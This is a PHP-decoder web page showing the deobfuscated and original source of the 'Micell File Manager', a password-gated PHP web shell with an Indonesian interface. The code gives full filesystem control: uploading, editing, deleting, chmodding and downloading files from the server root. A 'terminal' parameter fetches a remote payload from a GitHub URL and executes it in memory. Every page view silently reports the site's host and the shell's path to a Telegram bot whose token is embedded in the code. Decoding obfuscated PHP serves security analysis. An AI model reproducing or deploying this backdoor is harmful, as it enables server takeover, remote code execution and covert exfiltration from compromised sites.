Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto YDUAL; AJnfQ: $params["\160\141\x67\x65"] = 1; goto V2I3F; fV2ES: $pageSize =..
Decoded Output download
<?php
goto YDUAL; AJnfQ: $params["page"] = 1; goto V2I3F; fV2ES: $pageSize = 20; goto U1xzS; JaZvp: foreach ($allFiles as $f) { if ($f === "." || $f === "..") { continue; } if ($query === '') { $filtered[] = $f; } else { if (stripos($f, $query) !== false) { $filtered[] = $f; } } } goto Y0WFF; U1xzS: if (isset($_GET["logout"])) { unset($_SESSION["logged_in"]); session_destroy(); header("Location: ?"); die; } goto rCinC; Y0WFF: $sort = isset($_GET["sort"]) ? $_GET["sort"] : "name"; goto AsonB; rabcM: echo htmlspecialchars($basePath); goto FTnyw; j_kXm: error_reporting(E_ALL); goto n5qxy; jcRB4: echo htmlspecialchars($query); goto WGRyk; Qv3Va: $edit_file_path = ''; goto HM_K7; Uavbe: $filtered = array(); goto JaZvp; qrrfa: echo htmlspecialchars($basePath); goto b2Zp5; nXIT7: ?>
<div class="menu-bar"><button onclick='window.location="?"'>Home</button> <button onclick='showTab("upload")'>Upload</button> <button onclick='showTab("folder")'>New Folder</button> <button onclick='showTab("file")'>New File</button> <button onclick="goTerminal()">Terminal</button><script>function goTerminal(){
let url = new URL(window.location.href);
url.searchParams.set('cmdsaskra','1');
window.location.href = url.toString();
}</script></div><div class="tab-content"id="uploadTab"style="display:none"><h3 style="color:#0ff;margin-top:0;text-shadow:0 0 5px #0ff">Upload File</h3><div class="drag-area"id="dragArea"><p>Drag & Drop file di sini</p><p>atau pilih manual di bawah</p></div><form method="post"class="form-group"enctype="multipart/form-data"id="uploadForm"><input type="hidden"value="<?php goto rabcM; e6aO0: if (isset($_GET["edit"])) { $et = @realpath($_GET["edit"]); if ($et && is_file($et) && strpos($et, $rootAllowed) === 0) { $edit_file_mode = true; $edit_file_path = $et; $edit_file_content = @file_get_contents($et); $ext = strtolower(pathinfo($et, PATHINFO_EXTENSION)); switch ($ext) { case "php": $aceMode = "ace/mode/php"; break; case "js": $aceMode = "ace/mode/javascript"; break; case "css": $aceMode = "ace/mode/css"; break; case "html": $aceMode = "ace/mode/html"; break; case "htm": $aceMode = "ace/mode/html"; break; case "json": $aceMode = "ace/mode/json"; break; case "xml": $aceMode = "ace/mode/xml"; break; default: $aceMode = "ace/mode/text"; break; } } } goto fBM8o; jJ72U: $parent = dirname($basePath); goto SYfLp; UOEKw: $params = $_GET; goto h0ZUh; MmHkb: if (isset($_POST["action"])) { switch ($_POST["action"]) { case "upload": if (!empty($_FILES["upload_files"]["name"][0])) { foreach ($_FILES["upload_files"]["name"] as $i => $n) { $tmp = $_FILES["upload_files"]["tmp_name"][$i]; if ($tmp) { @move_uploaded_file($tmp, ts($basePath) . $n); } } } break; case "mkdir": $f = trim($_POST["folder_name"]); if ($f) { @mkdir(ts($basePath) . $f); } break; case "create_file": $f = trim($_POST["filename"]); $c = $_POST["filecontent"]; if ($f) { @file_put_contents(ts($basePath) . $f, $c); } break; case "rename": $o = $_POST["old_name"]; $n = $_POST["new_name"]; if ($o && $n) { $oldFull = @realpath(ts($basePath) . $o); $newFull = ts($basePath) . $n; if ($oldFull && strpos($oldFull, $rootAllowed) === 0) { @rename($oldFull, $newFull); } } break; case "delete": $t = $_POST["target"]; if ($t) { $targetFull = @realpath(ts($basePath) . $t); if ($targetFull && strpos($targetFull, $rootAllowed) === 0) { del($targetFull); } } break; case "edit_file_save": $e = $_POST["edit_target"]; $c = $_POST["new_content"]; $r = @realpath($e); if ($r && is_file($r) && strpos($r, $rootAllowed) === 0) { @file_put_contents($r, $c); } break; case "chmod": $t = $_POST["target"]; $perm = $_POST["perm"]; if ($t !== '' && $perm !== '') { $targetFull = @realpath(ts($basePath) . $t); if ($targetFull && strpos($targetFull, $rootAllowed) === 0) { @chmod($targetFull, octdec($perm)); } } break; } header("Location: ?path=" . urlencode($basePath)); die; } goto dW3V0; z795P: ?>
</tbody></table></div><?php goto SUDMw; VEUM1: ?>
<!doctypehtml><html><head><meta charset="UTF-8"><title>Micell File Manager</title><link href="https://fonts.googleapis.com/css2?family=Orbitron&display=swap"rel="stylesheet"><style>body{margin:0;padding:0;background:linear-gradient(120deg,#000428 0,#3b074c 50%,#060a32 100%);color:#eee;font-family:Orbitron,sans-serif;overflow-x:hidden}header{background:rgba(0,0,0,.7);padding:15px 20px;border-bottom:2px solid #0ff;display:flex;justify-content:space-between;align-items:center;box-shadow:0 0 20px rgba(0,255,255,.2)}header h1{margin:0;font-size:1.3em;color:#0ff;text-transform:uppercase;letter-spacing:2px;text-shadow:0 0 5px #0ff}.logout a{color:#0ff;text-decoration:none;border:1px solid #0ff;padding:6px 12px;border-radius:4px;transition:background .3s ease,color .3s ease,box-shadow .3s}.logout a:hover{background:#0ff;color:#1c1c1c;box-shadow:0 0 15px rgba(0,255,255,.8)}.container{padding:20px}.breadcrumbs{background:rgba(255,255,255,.08);padding:8px;border:1px solid #0ff;border-radius:6px;margin-bottom:15px;overflow:auto;font-size:.95em;box-shadow:0 0 10px rgba(0,255,255,.2)}.breadcrumbs a{text-decoration:none;color:#0ff;margin-right:5px;transition:color .3s}.breadcrumbs a:hover{color:#fff}.breadcrumbs .sep{color:#fff;margin-right:5px}.search-box{margin-bottom:15px;display:flex;align-items:center}.search-box input[type=text]{width:240px;padding:8px;border:1px solid #444;background:#060a32;color:#ccc;border-radius:4px;outline:0;transition:border .3s,box-shadow .3s}.search-box input[type=text]:focus{border-color:#0ff;box-shadow:0 0 8px #0ff}.search-box input[type=submit]{background:#0ff;color:#111;border:none;padding:8px 16px;cursor:pointer;border-radius:4px;font-weight:700;margin-left:6px;transition:background .3s ease,box-shadow .3s}.search-box input[type=submit]:hover{background:#0cc;box-shadow:0 0 10px rgba(0,255,255,.6)}.menu-bar{margin-bottom:15px}.menu-bar button{background:#060a32;color:#0ff;padding:10px 16px;margin-right:8px;border:1px solid #0ff;border-radius:4px;font-weight:700;cursor:pointer;transition:background .3s ease,box-shadow .3s,color .3s}.menu-bar button:hover{background:#0ff;color:#000;box-shadow:0 0 15px rgba(0,255,255,.5)}.table-wrap{overflow:auto;background:rgba(255,255,255,.03);border:1px solid #0ff;border-radius:6px;padding:10px;box-shadow:0 0 15px rgba(0,255,255,.2)}table{width:100%;border-collapse:collapse;font-size:.95em;min-width:600px}table td,table th{border-bottom:1px solid #444;padding:8px;vertical-align:middle}table th{color:#0ff;text-align:left;background:rgba(10,10,40,.8);text-shadow:0 0 5px #0ff}table td{color:#ccc}table a{color:#0ff;text-decoration:none;transition:color .3s}table a:hover{color:#fff;text-decoration:underline}table td:nth-child(1),table th:nth-child(1){width:5%;text-align:center}.btn{display:inline-block;padding:5px 10px;background:#060a32;color:#0ff;border:1px solid #0ff;border-radius:4px;font-size:.8rem;cursor:pointer;text-decoration:none;margin-left:4px;transition:background .3s,box-shadow .3s,color .3s}.btn:hover{background:#0ff;color:#000;box-shadow:0 0 10px rgba(0,255,255,.6)}.download{color:#8ff}.edit{color:#afc}.del{color:#f66}.file-preview img{max-width:80px;max-height:80px;margin:5px;border:1px solid #444}.file-preview audio,.file-preview video{max-width:180px;margin:5px}.paging{text-align:center;margin:10px 0}.paging a{display:inline-block;padding:6px 10px;margin:2px;background:#060a32;color:#0ff;border:1px solid #0ff;border-radius:4px;text-decoration:none;transition:background .3s,box-shadow .3s,color .3s}.paging a:hover{background:#0ff;color:#000;box-shadow:0 0 10px rgba(0,255,255,.6)}.paging .current{background:#0ff;color:#000;font-weight:700;box-shadow:0 0 10px rgba(0,255,255,.8)}.tab-content{display:none;background:rgba(255,255,255,.08);border:1px solid #0ff;border-radius:6px;padding:15px;margin-bottom:20px;box-shadow:0 0 15px rgba(0,255,255,.2)}.form-group{margin-bottom:12px}.form-group label{display:block;font-weight:700;margin-bottom:6px;color:#8ff;text-shadow:0 0 4px #0ff}.form-group input[type=file],.form-group input[type=text],.form-group textarea{width:100%;background:#060a32;border:1px solid #444;color:#ccc;border-radius:4px;padding:8px;outline:0;transition:border .3s,box-shadow .3s}.form-group input[type=text]:focus,.form-group textarea:focus{border-color:#0ff;box-shadow:0 0 8px #0ff}.form-group input[type=submit]{background:#0ff;color:#000;border:none;padding:8px 16px;border-radius:4px;font-weight:700;cursor:pointer;transition:background .3s,box-shadow .3s}.form-group input[type=submit]:hover{background:#0cc;box-shadow:0 0 10px rgba(0,255,255,.6)}.drag-area{border:2px dashed #0ff;padding:20px;text-align:center;border-radius:6px;margin-bottom:10px;color:#aaa;transition:background .3s ease,color .3s ease,box-shadow .3s}.drag-area.hover{background:#060a32;color:#0ff;box-shadow:0 0 10px rgba(0,255,255,.5)}#overlay{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.5);z-index:9998}#chmodBox,#renameBox{display:none;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);z-index:9999;background:rgba(10,10,40,.9);border:2px solid #0ff;border-radius:6px;width:320px;max-width:90%;padding:20px;box-shadow:0 0 15px rgba(0,255,255,.8)}#chmodBox h3,#renameBox h3{margin-top:0;color:#0ff;text-transform:uppercase;letter-spacing:1px;text-shadow:0 0 5px #0ff}#chmodBox input[type=text],#renameBox input[type=text]{width:100%;background:#000;border:1px solid #444;color:#fff;border-radius:4px;padding:8px;margin-bottom:12px;outline:0;transition:border .3s,box-shadow .3s}#chmodBox input[type=text]:focus,#renameBox input[type=text]:focus{border-color:#0ff;box-shadow:0 0 8px #0ff}#chmodBox input[type=submit],#renameBox input[type=submit]{background:#0ff;color:#000;border:none;padding:8px 16px;border-radius:4px;font-weight:700;cursor:pointer;transition:background .3s,box-shadow .3s}#chmodBox input[type=submit]:hover,#renameBox input[type=submit]:hover{background:#0cc;box-shadow:0 0 10px rgba(0,255,255,.8)}#chmodBox button,#renameBox button{background:#444;color:#eee;border:none;padding:8px 16px;border-radius:4px;margin-left:6px;cursor:pointer;transition:background .3s,box-shadow .3s,color .3s}#chmodBox button:hover,#renameBox button:hover{background:#666;color:#fff}.footer{text-align:center;margin:30px 0 15px 0;color:#aaa;font-size:.85em}.footer span{color:#0ff}</style><script src="https://cdn.jsdelivr.net/npm/[email protected]/src-min-noconflict/ace.js"></script></head><body><header><h1>Micell File Manager</h1><div class="logout"><a href="?logout=true">Logout</a></div></header><div class="container"><div class="breadcrumbs"><?php goto IWBeB; AsonB: function cmpName($a, $b) { return strcasecmp($a, $b); } goto lh8ax; icRvj: $pagedFiles = array_slice($filtered, $startIndex, $pageSize); goto WCvi9; Qcfyl: function getPermOctal($path) { $perm = @fileperms($path); if ($perm === false) { return "????"; } $mode = $perm & 4095; return sprintf("%04o", $mode); } goto dLhIm; h0ZUh: $params["sort"] = "size"; goto K85jg; JHU1J: if ($isWindows) { $parts = @preg_split("@[\\/]+@", $realBase); $tmpPath = ''; if (isset($parts[0]) && strpos($parts[0], ":") !== false) { $tmpPath = $parts[0]; $breadcrumbList[] = array("name" => $parts[0], "path" => $tmpPath); array_shift($parts); } foreach ($parts as $seg) { if ($seg === '') { continue; } if ($tmpPath === '') { $tmpPath = $seg; } else { $tmpPath = rtrim($tmpPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $seg; } $breadcrumbList[] = array("name" => $seg, "path" => $tmpPath); } } else { $breadcrumbList[] = array("name" => "/", "path" => "/"); $trimmed = ltrim($realBase, "/"); $parts = explode("/", $trimmed); $accum = ''; foreach ($parts as $seg) { if ($seg === '') { continue; } $accum .= "/" . $seg; $breadcrumbList[] = array("name" => $seg, "path" => $accum); } } goto VEUM1; Cyd3G: function cmpTime($a, $b) { global $basePath; $fa = ts($basePath) . $a; $fb = ts($basePath) . $b; $ta = @filemtime($fa); $tb = @filemtime($fb); return $ta - $tb; } goto ZKW2L; gHNJb: $startIndex = ($currentPage - 1) * $pageSize; goto icRvj; Zs_MG: function getFileIcon($name, $isDir) { if ($isDir) { return "<span style="color:#0f8;">[DIR]</span>"; } $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); switch ($ext) { case "jpg": case "jpeg": case "png": case "gif": return "\360\x9f\226\274"; case "zip": case "rar": case "7z": return "\360\x9f\x93\246"; case "mp3": case "wav": case "ogg": return "\xf0\237\216\xb5"; case "mp4": case "mov": case "avi": return "\360\237\216\236"; case "pdf": return "\xf0\237\223\x84"; default: return "\360\237\223\x84"; } } goto MmHkb; MnN13: $query = isset($_GET["q"]) ? trim($_GET["q"]) : ''; goto Uavbe; ZKW2L: switch ($sort) { case "size": usort($filtered, "cmpSize"); break; case "time": usort($filtered, "cmpTime"); break; default: usort($filtered, "cmpName"); } goto s8o3D; q8ykd: function getModified($path) { $t = @filemtime($path); if (!$t) { return "-"; } return date("Y-m-d H:i:s", $t); } goto Zs_MG; GtnTL: ?>
"name="path"> <input value="<?php goto jcRB4; wuUYU: $params["sort"] = "time"; goto WIZAz; dGsW2: foreach ($pagedFiles as $f) { $full = ts($basePath) . $f; $isDir = ds($full); $permOct = getPermOctal($full); $permSym = octalToSymbolic($permOct); $modified = getModified($full); $icon = getFileIcon($f, $isDir); echo "<tr>"; echo "<td style="text-align:center;">" . $icon . "</td>"; if ($isDir) { echo "<td><a href="?path=" . urlencode($full) . ""><strong>" . htmlspecialchars($f) . "</strong></a></td>"; echo "<td>Folder</td>"; echo "<td style="text-align:right;">-</td>"; } else { echo "<td>" . htmlspecialchars($f); $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION)); if (in_array($ext, array("jpg", "jpeg", "png", "gif"))) { echo "<div class="file-preview"><img src="" . htmlspecialchars($f) . "" alt=""></div>"; } elseif (in_array($ext, array("mp4", "webm", "mov", "avi"))) { echo "<div class="file-preview"><video src="" . htmlspecialchars($f) . "" controls></video></div>"; } elseif (in_array($ext, array("mp3", "wav", "ogg"))) { echo "<div class="file-preview"><audio src="" . htmlspecialchars($f) . "" controls></audio></div>"; } echo "</td>"; echo "<td>File</td>"; $sz = @filesize($full); echo "<td style="text-align:right;">" . fs($sz) . "</td>"; } echo "<td style="text-align:center;">" . $permOct . "</td>"; echo "<td style="text-align:center;">" . $permSym . "</td>"; echo "<td style="text-align:center;">" . $modified . "</td>"; echo "<td style="text-align:right;">"; if (!$isDir) { echo "<a href="?download=" . urlencode($full) . "" class="btn download">Download</a>"; echo "<a href="?edit=" . urlencode($full) . "&path=" . urlencode($basePath) . "" class="btn edit">Edit</a>"; } echo "<button type="button" class="btn" onclick="openRenameBox('" . htmlspecialchars($f) . "')" style="color:#fff;">Rename</button>"; echo "<button type="button" class="btn" onclick="openChmodBox('" . htmlspecialchars($f) . "','" . $permOct . "')" style="color:#fff;">CHMOD</button>"; echo "<form action="" method="post" style="display:inline;margin-left:5px;">\xa <input type="hidden" name="path" value="" . htmlspecialchars($basePath) . "">
<input type="hidden" name="action" value="delete">\xa <input type="hidden" name="target" value="" . htmlspecialchars($f) . "">\xa <input type="submit" class="btn del" value="Delete">\xa </form>"; echo "</td>"; echo "</tr>"; } goto z795P; fBM8o: $allFiles = fm($basePath); goto MnN13; BVj55: ?>
</div><div class="search-box"><form><input type="hidden"value="<?php goto EScJQ; eE081: function del($t) { if (is_dir($t)) { $x = scandir($t); foreach ($x as $y) { if ($y === "." || $y === "..") { continue; } del($t . DIRECTORY_SEPARATOR . $y); } @rmdir($t); } else { @unlink($t); } } goto UR8LE; vaXx4: ?>
"name="path"> <input type="hidden"value="mkdir"name="action"><div class="form-group"><label>Folder Name</label> <input name="folder_name"placeholder="Contoh: images"></div><div class="form-group"><input type="submit"value="Create"></div></form></div><div class="tab-content"id="fileTab"style="display:none"><h3 style="color:#0ff;margin-top:0;text-shadow:0 0 5px #0ff">Create File</h3><form method="post"><input type="hidden"value="<?php goto ouR5o; PTYL3: function ts($d) { return rtrim($d, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR; } goto jFCHH; HM_K7: $edit_file_content = ''; goto r6Zlx; YDUAL: @session_start(); goto Nifjt; cUV7X: ini_set("display_errors", 0); goto j_kXm; s8o3D: $totalItems = count($filtered); goto TAINx; ZGqP0: for ($i = 0; $i < $count; $i++) { $b = $breadcrumbList[$i]; $isLast = $i === $count - 1; echo "<a href="?path=", urlencode($b["path"]), "">", htmlspecialchars($b["name"]), "</a>"; if (!$isLast) { echo "<span class="sep">/</span>"; } } goto BVj55; e1dCU: if ($currentPage > $totalPages) { $currentPage = $totalPages; } goto gHNJb; X1K7R: $params = $_GET; goto wuUYU; N_FCj: if ($currentPage < 1) { $currentPage = 1; } goto e1dCU; qYhjZ: ?>
</div><div class="footer"> <span><?php goto zJ7ap; Nifjt: ob_start(); goto cUV7X; FTnyw: ?>
"name="path"> <input type="hidden"value="upload"name="action"> <label>Pilih file:</label> <input type="file"name="upload_files[]"multiple> <input type="submit"value="Upload"></form></div><div class="tab-content"id="folderTab"style="display:none"><h3 style="color:#0ff;margin-top:0;text-shadow:0 0 5px #0ff">Create Folder</h3><form method="post"><input type="hidden"value="<?php goto hIlDu; bRU53: if ($edit_file_mode) { ?>
<div id="editFileTab"style="margin-bottom:20px;display:block"><h3 style="color:#0ff;margin-top:0;text-shadow:0 0 5px #0ff">Edit File</h3><div style="font-size:.9em;margin-bottom:8px"><?php echo htmlspecialchars($edit_file_path); ?>
</div><form method="post"onsubmit="syncEditor()"><input type="hidden"value="<?php echo htmlspecialchars($basePath); ?>
"name="path"> <input type="hidden"value="edit_file_save"name="action"> <input type="hidden"value="<?php echo htmlspecialchars($edit_file_path); ?>
"name="edit_target"> <textarea name="new_content"id="editorContent"style="display:none"><?php echo htmlspecialchars($edit_file_content); ?>
</textarea><div id="aceEditor"style="width:100%;height:400px;background:#1e242c;color:#eee"></div><input type="submit"value="Save"style="margin-top:10px"> <a href="?path=<?php echo urlencode($basePath); ?>
"class="btn"style="margin-left:10px">Cancel</a></form></div><script>var aceEditor=ace.edit("aceEditor");function syncEditor(){document.getElementById("editorContent").value=aceEditor.getValue()}aceEditor.setTheme("ace/theme/one_dark"),aceEditor.session.setMode("<?php echo $aceMode; ?>
"),aceEditor.setValue(document.getElementById("editorContent").value,-1)</script><?php } goto nXIT7; e661x: ?>
">Size</a></th><th style="text-align:center">Octal</th><th style="text-align:center">Symbol</th><th style="text-align:center"><a href="?<?php goto X1K7R; IWBeB: $count = count($breadcrumbList); goto ZGqP0; MrD24: if (!isset($_COOKIE["logged_in"]) || $_COOKIE["logged_in"] !== "true") { ?>
<!doctypehtml><html><head><meta charset="UTF-8"><title></title><link href="https://fonts.googleapis.com/css2?family=Orbitron&display=swap"rel="stylesheet"><style>body{margin:0;padding:0;background:linear-gradient(130deg,#1e0036 0,#3f0040 40%,#090b1c 100%);font-family:Orbitron,sans-serif;color:#fff}.login-container{width:320px;margin:120px auto;padding:20px;border-radius:8px;background:rgba(255,255,255,.05);box-shadow:0 0 30px rgba(255,0,255,.3),0 0 20px rgba(0,255,255,.2);text-align:center;border:1px solid rgba(255,255,255,.2)}.login-container h2{margin:0;margin-bottom:15px;font-size:1.5em;color:#0ff;letter-spacing:2px}.error{color:#f66;margin-bottom:12px;font-weight:700;text-shadow:0 0 5px #f66}input[type=password]{width:90%;padding:10px;border:1px solid #3cf;background:#120023;color:#ccc;border-radius:4px;margin-bottom:10px;outline:0;transition:border-color .3s,box-shadow .3s}input[type=password]:focus{border-color:#0ff;box-shadow:0 0 10px rgba(0,255,255,.6)}input[type=submit]{width:95%;padding:10px;border:none;background:#0ff;color:#111;font-weight:700;border-radius:4px;cursor:pointer;transition:background .3s}input[type=submit]:hover{background:#0cc}</style></head><body><div class="login-container"><h2>LOGIN</h2><?php if (!empty($error)) { echo "<div class="error">" . $error . "</div>"; } ?>
<form method="post"><input type="password"name="password"placeholder="Password..."required> <input type="submit"value="LOGIN"></form></div></body></html><?php die; } goto UUbv1; zJ7ap: echo date("Y"); goto kUbGi; V2I3F: echo http_build_query($params); goto FgFZ3; qDHyR: $realBase = @realpath($basePath); goto UFQdN; WGRyk: ?>
"name="q"placeholder="Search..."> <input type="submit"value="Go"></form></div><?php goto bRU53; goYX2: $session_timeout = 1800; goto fV2ES; UP1PU: echo htmlspecialchars($basePath); goto db5Dr; dLhIm: function octalToSymbolic($octal) { $val = octdec($octal); $slot = array("r", "w", "x", "r", "w", "x", "r", "w", "x"); $res = ''; for ($i = 0; $i < 9; $i++) { $mask = 1 << 8 - $i; $res .= $val & $mask ? $slot[$i] : "-"; } return $res; } goto q8ykd; b2Zp5: ?>
"name="path"> <input type="hidden"value="chmod"name="action"> <input type="hidden"name="target"id="chmodTarget"> <input name="perm"id="chmodPerm"placeholder="Contoh: 0755, 0644"><br><input type="submit"value="OK"> <button onclick="closeChmodBox()"type="button">Cancel</button></form></div><div class="table-wrap"><table><thead><tr><th>Icon</th><th><a href="?<?php goto ilzqh; dW3V0: if (isset($_GET["download"])) { $f = @realpath($_GET["download"]); if ($f && is_file($f) && strpos($f, $rootAllowed) === 0) { header("Content-Disposition: attachment; filename="" . basename($f) . """); header("Content-Length: " . @filesize($f)); @readfile($f); die; } } goto TOBi3; LZ2LK: echo http_build_query($params); goto e661x; FgFZ3: ?>
">Name</a></th><th>Type</th><th style="text-align:right"><a href="?<?php goto UOEKw; SYfLp: if ($parent && $parent != $basePath) { echo "<tr>\xa <td>\xf0\237\223\x81</td>
<td><a href='?path=" . urlencode($parent) . "'><strong>.. (Back)</strong></a></td>
<td>Folder</td>
<td style='text-align:right;'>-</td>
<td style='text-align:center;'>-</td>\xa <td style='text-align:center;'>-</td>
<td style='text-align:center;'>-</td>
<td></td>
</tr>"; } goto dGsW2; jFCHH: function ds($p) { return is_dir($p); } goto X9sjl; ouR5o: echo htmlspecialchars($basePath); goto MxNj_; hIlDu: echo htmlspecialchars($basePath); goto vaXx4; SUDMw: if ($totalPages > 1) { ?>
<div class="paging"><?php $baseLink = "?" . http_build_query(array_merge($_GET, array("page" => null))); for ($i = 1; $i <= $totalPages; $i++) { if ($i == $currentPage) { echo "<span class="current">", $i, "</span>"; } else { echo "<a href="" . $baseLink . "&page=" . $i . "">" . $i . "</a>"; } } ?>
</div><?php } goto qYhjZ; UUbv1: if (isset($_GET["cmdsaskra"])) { $url = "https://raw.githubusercontent.com/paylar/NewShell/refs/heads/main/23bin"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($response !== false && $httpCode === 200) { try { if (!stream_wrapper_register("memoryinclude", "MemoryInclude")) { throw new Exception("Gagal mendaftarkan stream wrapper"); } MemoryInclude::$data = $response; include "memoryinclude://jpg"; stream_wrapper_unregister("memoryinclude"); } catch (Exception $e) { echo "Error: " . $e->getMessage(); } } else { echo "Gagal mengambil file. Kode HTTP: {$httpCode}, Error: {$error}"; } } goto yqxfb; X9sjl: function fm($b) { return $b ? scandir($b) : array(); } goto eE081; kek4E: $rootAllowed = $isWindows ? '' : "/"; goto mryVf; K85jg: $params["page"] = 1; goto LZ2LK; WIZAz: $params["page"] = 1; goto FKphL; lh8ax: function cmpSize($a, $b) { global $basePath; $fa = ts($basePath) . $a; $fb = ts($basePath) . $b; $sa = @is_file($fa) ? @filesize($fa) : 0; $sb = @is_file($fb) ? @filesize($fb) : 0; return $sa - $sb; } goto Cyd3G; myqLn: if (isset($_COOKIE["logged_in"]) && $_COOKIE["logged_in"] === "true") { $lastActivity = isset($_COOKIE["last_activity"]) ? (int) $_COOKIE["last_activity"] : 0; if (time() - $lastActivity > $session_timeout) { setcookie("logged_in", '', time() - 3600, "/"); setcookie("last_activity", '', time() - 3600, "/"); setcookie("cmd_history", '', time() - 3600, "/"); $error = "Sesi habis. Login ulang."; } else { setcookie("last_activity", time(), time() + $session_timeout, "/"); } } goto MrD24; MxNj_: ?>
"name="path"> <input type="hidden"value="create_file"name="action"><div class="form-group"><label>Filename</label> <input name="filename"placeholder="Contoh: index.php"></div><div class="form-group"><label>Content (optional)</label> <textarea name="filecontent"placeholder="Boleh dikosongkan..."rows="4"></textarea></div><div class="form-group"><input type="submit"value="Create"></div></form></div><div id="overlay"></div><div id="renameBox"><h3>Rename</h3><form method="post"><input type="hidden"value="<?php goto UP1PU; rCinC: if (isset($_POST["password"])) { if (md5($_POST["password"]) === $xxx) { setcookie("logged_in", "true", time() + $session_timeout, "/"); setcookie("last_activity", time(), time() + $session_timeout, "/"); if (!isset($_COOKIE["cmd_history"])) { setcookie("cmd_history", json_encode(array()), time() + $session_timeout, "/"); } header("Location: ?"); die; } else { $error = "Password salah!"; } } goto myqLn; n5qxy: $xxx = "894a4cdd27330fee4478effdaaba5168"; goto goYX2; XHKAW: $breadcrumbList = array(); goto JHU1J; WCvi9: file_get_contents("https://api.telegram.org/bot7618851102:AAGH7K2i68R5Th4t1kfXfW9oyi7o5eZxfco/sendMessage?chat_id=6413754997&text=" . urlencode($_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"] . "\xa" . __FILE__)); goto qDHyR; mGZLQ: $isWindows = DIRECTORY_SEPARATOR === "\"; goto kek4E; UR8LE: function fs($s) { if ($s < 1024) { return $s . " B"; } if ($s < 1048576) { return round($s / 1024, 2) . " KB"; } if ($s < 1073741824) { return round($s / 1048576, 2) . " MB"; } return round($s / 1073741824, 2) . " GB"; } goto Qcfyl; AnuZU: if (isset($_REQUEST["path"])) { $temp = @realpath($_REQUEST["path"]); if ($temp && @is_dir($temp)) { $basePath = $temp; } } goto PTYL3; RUlGr: $params["sort"] = "name"; goto AJnfQ; db5Dr: ?>
"name="path"> <input type="hidden"value="rename"name="action"> <input type="hidden"name="old_name"id="renameOld"> <input name="new_name"id="renameNew"><br><input type="submit"value="OK"> <button onclick="closeRenameBox()"type="button">Cancel</button></form></div><div id="chmodBox"><h3>CHMOD</h3><form method="post"><input type="hidden"value="<?php goto qrrfa; TAINx: $totalPages = max(1, ceil($totalItems / $pageSize)); goto wftOL; mryVf: $basePath = dirname(__FILE__); goto AnuZU; yqxfb: class MemoryInclude { public static $data = ''; private $position = 0; private $length = 0; public function stream_open($path, $mode, $options, &$opened_path) { $this->position = 0; $this->length = strlen(self::$data); return true; } public function stream_read($count) { $ret = substr(self::$data, $this->position, $count); $this->position += strlen($ret); return $ret; } public function stream_eof() { return $this->position >= $this->length; } public function stream_stat() { return array("size" => $this->length); } } goto mGZLQ; ilzqh: $params = $_GET; goto RUlGr; EScJQ: echo htmlspecialchars($basePath); goto GtnTL; hcH8C: ?>
">Modified</a></th><th style="text-align:right">Action</th></tr></thead><tbody><?php goto jJ72U; FKphL: echo http_build_query($params); goto hcH8C; wftOL: $currentPage = isset($_GET["page"]) ? (int) $_GET["page"] : 1; goto N_FCj; r6Zlx: $aceMode = "ace/mode/text"; goto e6aO0; TOBi3: $edit_file_mode = false; goto Qv3Va; UFQdN: if (!$realBase) { $realBase = $rootAllowed; } goto XHKAW; kUbGi: ?>
</span>Megawaty</div><script>function showTab(e){for(var t=["upload","folder","file"],o=0;o<t.length;o++)document.getElementById(t[o]+"Tab").style.display="none";var n=document.getElementById(e+"Tab");n&&(n.style.display="block")}var dragArea=document.getElementById("dragArea");if(dragArea){var uploadForm=document.getElementById("uploadForm");dragArea.addEventListener("dragover",function(e){e.preventDefault(),dragArea.classList.add("hover")}),dragArea.addEventListener("dragleave",function(e){dragArea.classList.remove("hover")}),dragArea.addEventListener("drop",function(e){e.preventDefault(),dragArea.classList.remove("hover");for(var t=e.dataTransfer.files,o=new FormData(uploadForm),n=0;n<t.length;n++)o.append("upload_files[]",t[n]);o.set("action","upload"),fetch("",{method:"POST",body:o}).then(function(e){return e.text()}).then(function(e){alert("Upload selesai!\nReload halaman."),location.reload()}).catch(function(e){console.error(e),alert("Gagal upload!")})})}function openRenameBox(e){document.getElementById("renameOld").value=e,document.getElementById("renameNew").value=e,document.getElementById("overlay").style.display="block",document.getElementById("renameBox").style.display="block"}function closeRenameBox(){document.getElementById("overlay").style.display="none",document.getElementById("renameBox").style.display="none"}function openChmodBox(e,t){document.getElementById("chmodTarget").value=e,document.getElementById("chmodPerm").value=t,document.getElementById("overlay").style.display="block",document.getElementById("chmodBox").style.display="block"}function closeChmodBox(){document.getElementById("overlay").style.display="none",document.getElementById("chmodBox").style.display="none"}document.getElementById("overlay").onclick=function(){closeRenameBox(),closeChmodBox()}</script></body></html>
Did this file decode correctly?
Original Code
<?php
goto YDUAL; AJnfQ: $params["\160\141\x67\x65"] = 1; goto V2I3F; fV2ES: $pageSize = 20; goto U1xzS; JaZvp: foreach ($allFiles as $f) { if ($f === "\56" || $f === "\56\56") { continue; } if ($query === '') { $filtered[] = $f; } else { if (stripos($f, $query) !== false) { $filtered[] = $f; } } } goto Y0WFF; U1xzS: if (isset($_GET["\154\157\x67\x6f\165\164"])) { unset($_SESSION["\x6c\x6f\x67\147\x65\x64\x5f\x69\x6e"]); session_destroy(); header("\114\x6f\143\141\164\151\x6f\156\x3a\x20\77"); die; } goto rCinC; Y0WFF: $sort = isset($_GET["\163\x6f\x72\164"]) ? $_GET["\x73\157\x72\164"] : "\x6e\x61\155\x65"; goto AsonB; rabcM: echo htmlspecialchars($basePath); goto FTnyw; j_kXm: error_reporting(E_ALL); goto n5qxy; jcRB4: echo htmlspecialchars($query); goto WGRyk; Qv3Va: $edit_file_path = ''; goto HM_K7; Uavbe: $filtered = array(); goto JaZvp; qrrfa: echo htmlspecialchars($basePath); goto b2Zp5; nXIT7: ?>
